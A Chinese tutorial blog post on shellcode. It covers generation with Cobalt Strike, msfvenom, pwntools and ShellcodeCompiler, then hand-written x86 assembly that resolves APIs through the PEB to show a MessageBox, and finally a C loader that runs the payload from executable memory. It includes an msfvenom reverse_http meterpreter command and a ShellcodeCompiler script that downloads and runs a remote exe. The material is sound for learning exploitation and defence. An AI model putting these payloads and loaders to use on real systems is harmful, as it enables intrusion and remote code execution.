当前位置:   article > 正文

认识ShellCode_cs exploit功能的shellcode

cs exploit功能的shellcode

1 认识SHELLCODE   

    shellcode的本质其实就是一段可以自主运行的代码。它没有任何文件结构,它不依赖任何编译环境,无法像exe一样双击运行,因此需要通过控制程序流程跳转到shellcode地址上去执行shellcode。

    exploit主要强调执行控制权,而shellcode更关注于有了控制权之后的功能。因此shellcode更像是exploit的载荷,往往对于不同漏洞来讲exploit是特殊的,而shellcode会具有一些通用性。

2 生成SHELLCODE  

2.1 CS生成  

图片

图片

可以看到生成一个payload_x64.c

图片

2.2 MSF生成  

利用metasploit框架下的msfvenom生成shellcode。

例如:msfvenom -p windows/meterpreter/reverse_http lhost=192.168.67.5 lport=4444 -f c

图片

2.3 PWNTOOLS  

https://pwntools-docs-zh.readthedocs.io/zh_CN/dev/shellcraft.html

图片

2.4 ShellcodeCompiler工具  

工具地址:https://github.com/NytroRST/ShellcodeCompiler

Source.txt按如下格式填写:

(1)Windows

  1.     function URLDownloadToFileA("urlmon.dll");
  2.     function WinExec("kernel32.dll");
  3.     function ExitProcess("kernel32.dll");
  4.     URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
  5.     WinExec("bk.exe",0);
  6. ExitProcess(0);

(2)linux

    chmod("/root/chmodme",511);    write(1,"Hello, world",12);    kill(1661,9);    getpid();    execve("/usr/bin/burpsuite",0,0);    exit(2);

如下:

图片

3 shellcode开发  

3.1 shellcode汇编开发  

1)编译器配置  

(1)编译器 :Release-x86

(2)调试属性-配置属性-C/C++

图片

图片

图片

(3)调试属性-配置属性-链接器

图片

图片

(4)入口点设置

图片

2)实现核心功能  

l获取 kernel32.dll 基地址

l查找GetProcAddress函数的地址

l使用GetProcAddress查找LoadLibrary函数的地址

l使用LoadLibrary加载 DLL(例如kernel32.dll)

l使用GetProcAddress查找函数的地址(例如MessageBox)

l指定函数参数

l调用函数

图片

(1)Find kernel32.dll base address

获取Kernel32基址的方法有TEB查找法,原理是在NT内核系统中,fs寄存器指向TEB结构,TEB+0x30偏移处指向PEB(Process Environment Block)结构,PEB+0x0c偏移处指向PEB_LDR_DATA结构,PEB_LDR_DATA+0x1c偏移处存放着程序加载的动态链接库地址,第1个指向Ntdll.dll,第2个就是Kernel.32.dll的基地址。

图片

xor ecx, ecxmov eax, fs:[ecx + 0x30]  ; EAX = PEBmov eax, [eax + 0xc]      ; EAX = PEB->Ldrmov esi, [eax + 0x14]     ; ESI = PEB->Ldr.InMemOrderlodsd                     ; EAX = Second modulexchg eax, esi             ; EAX = ESI, ESI = EAXlodsd                     ; EAX = Third(kernel32)mov ebx, [eax + 0x10]     ; EBX = Base address

(2)Find the export table of kernel32.dll

从DLL文件中获取API地址的方法如下,

l在DLL基址+3ch偏移处获取e_lfanew的地址,即可得到PE文件头。

l在PE文件头的78h偏移处得到函数导出表的地址。

l在导出表的1ch偏移处获取AddressOfFunctions的地址,在导出表的20h偏移处获取AddressOfNames的地址,在导出表的24h偏移处获取AddressOfNameOrdinalse的地址。

lAddressOfFunctions函数地址数组和AddressOfNames函数名数组通过函数AddressOfName Ordinalse一一对应。

         

图片

mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanewadd edx, ebx          ; EDX = PE Headermov edx, [edx + 0x78] ; EDX = Offset export tableadd edx, ebx          ; EDX = Export tablemov esi, [edx + 0x20] ; ESI = Offset names tableadd esi, ebx          ; ESI = Names tablexor ecx, ecx          ; EXC = 0

(3)Find GetProcAddress function name

  1. Get_Function:
  2. inc ecx                              ; Increment the ordinal
  3. lodsd                                ; Get name offset
  4. add eax, ebx                         ; Get function name
  5. cmp dword ptr[eax], 0x50746547       ; GetP
  6. jnz Get_Function
  7. cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
  8. jnz Get_Function
  9. cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
  10. jnz Get_Function

(4)Find the address of GetProcAddress function

mov esi, [edx + 0x24]    ; ESI = Offset ordinalsadd esi, ebx             ; ESI = Ordinals tablemov cx, [esi + ecx * 2]  ; CX = Number of functiondec ecxmov esi, [edx + 0x1c]    ; ESI = Offset address tableadd esi, ebx             ; ESI = Address tablemov edx, [esi + ecx * 4] ; EDX = Pointer(offset)add edx, ebx             ; EDX = GetProcAddress

(5)Find the LoadLibrary function address

xor ecx, ecx    ; ECX = 0push ebx        ; Kernel32 base addresspush edx        ; GetProcAddresspush ecx        ; 0push 0x41797261 ; aryApush 0x7262694c ; Librpush 0x64616f4c ; Loadpush esp        ; "LoadLibrary"push ebx        ; Kernel32 base addresscall edx        ; GetProcAddress(LL)

(6)Load user32.dll library

add esp, 0xc    ; pop "LoadLibraryA"pop ecx         ; ECX = 0push eax        ; EAX = LoadLibraryApush ecxmov cx, 0x6c6c  ; llpush ecxpush 0x642e3233 ; 32.dpush 0x72657375 ; userpush esp        ; "user32.dll"call eax        ; LoadLibrary("user32.dll")

(7)加载MessageBox​​​​​​​

add esp, 0x10                  ; Clean stackmov edx, [esp + 0x4]           ; EDX = GetProcAddressxor ecx, ecx                   ; ECX = 0push ecxmov ecx, 0x6141786f            ; oxAapush ecxsub dword ptr[esp + 0x3], 0x61       ; Remove "a"push 0x42656761                ; ageBpush 0x7373654d                ; Messpush esp                                                 ;”MessageBoxA”push eax                                                 ; user32.dll addresscall edx                                                 ; GetProc(MessageBoxA)

(8)调用MessageBoxA​​​​​​​

add esp, 0x14                                           ; Cleanup stackpush 0x0push 0x0push 0x0push 0x0call eax      ; message

(9)结束进程调用,获取 ExitProcess 函数地址​​​​​​​

add esp, 0x18                    ; 堆栈平衡,call push2次,所以6*4=24pop edx                         ; 重新弹出GetProcAddress地址,继续使用该函数来获取ExitProcesspop ebx                         ; kernel32.dll base addressmov ecx, 0x61737365             ; essapush ecxsub dword ptr [esp + 0x3], 0x61 ; Remove "a"push 0x636f7250                 ; Procpush 0x74697845                 ; Exitpush esppush ebx                        ; kernel32.dll base addresscall edx                        ; GetProc(Exec)

(10)调用 ExitProcess 函数,结束自身​​​​​​​

xor ecx, ecx ; ECX = 0push ecx     ; Return code = 0call eax     ; ExitProcess

最终的代码如下:

图片

3)提取为bin文件  

使用kali中的编译环境

(1)编写汇编代码,保存为 hello.asm

图片

(2)使用 NASM 汇编器将汇编代码转换为目标文件:

nasm -f elf32 hello.asm -o hello.o

(3)使用 ld 链接器将目标文件转换为可执行文件:

ld -m elf_i386 -s -o hello hello.o

图片

(4)使用 objcopy 工具提取 shellcode:

objcopy -O binary --only-section=.text hello shellcode.bin

图片

         

4)编写加载器测试bin文件 ​​​​​​​

  1. int main(int argc, char* argv[])
  2. {
  3.     //打开文件
  4.     HANDLE hFile = CreateFileA("shellcode.bin", GENERIC_READ0NULLOPEN_ALWAYS, 0NULL);
  5.     if (hFile == INVALID_HANDLE_VALUE)
  6.     {
  7.         printf("Oen file error:%d\n", GetLastError);
  8.         return -1;
  9. }
  10.     DWORD dwSize;
  11.     dwSize = GetFileSize(hFile, NULL);
  12. LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  13.     //内存分配是否成功
  14.     if (lpAddress == NULL)
  15.     {
  16.         printf("VirtualAlloc error:%d\n", GetLastError);
  17.         CloseHandle(hFile);
  18.         return -1;
  19. }
  20. DWORD dwRead;
  21. ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);
  22.     //内嵌汇编
  23. __asm
  24. {
  25.         call lpAddress
  26. }
  27.    _flushall();
  28.     system("pause");
  29.     return 0;
  30. }
 

图片

5)提取bin文件测试  

右键-编辑-复制为十六进制数值

图片

测试 ​​​​​​​

图片

3.3 shellcode的功能模块  

Shellcode分为两个模块,分别是基本模块和功能模块,结构如图所示。

图片

下载执行(Download & Execute),具有这个功能的Shellcode最常被浏览器类漏洞样本使用,其功能就是从指定的URL下载一个exe文件并运行。

图片

捆绑 (Binder),具有这个功能的Shellcode最常见于Office等漏洞样本中,其功能是将捆绑在样本自身上的exe数据释放到指定目录中并运行。

图片

反弹shell,具有这个功能的Shellcode多见于主动型远程溢出漏洞样本中,攻击者可以借助NC等工具,在实施攻击后获取一个远程She以执行任意命令。

  

图片

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/705301
推荐阅读
相关标签
  

闽ICP备14008679号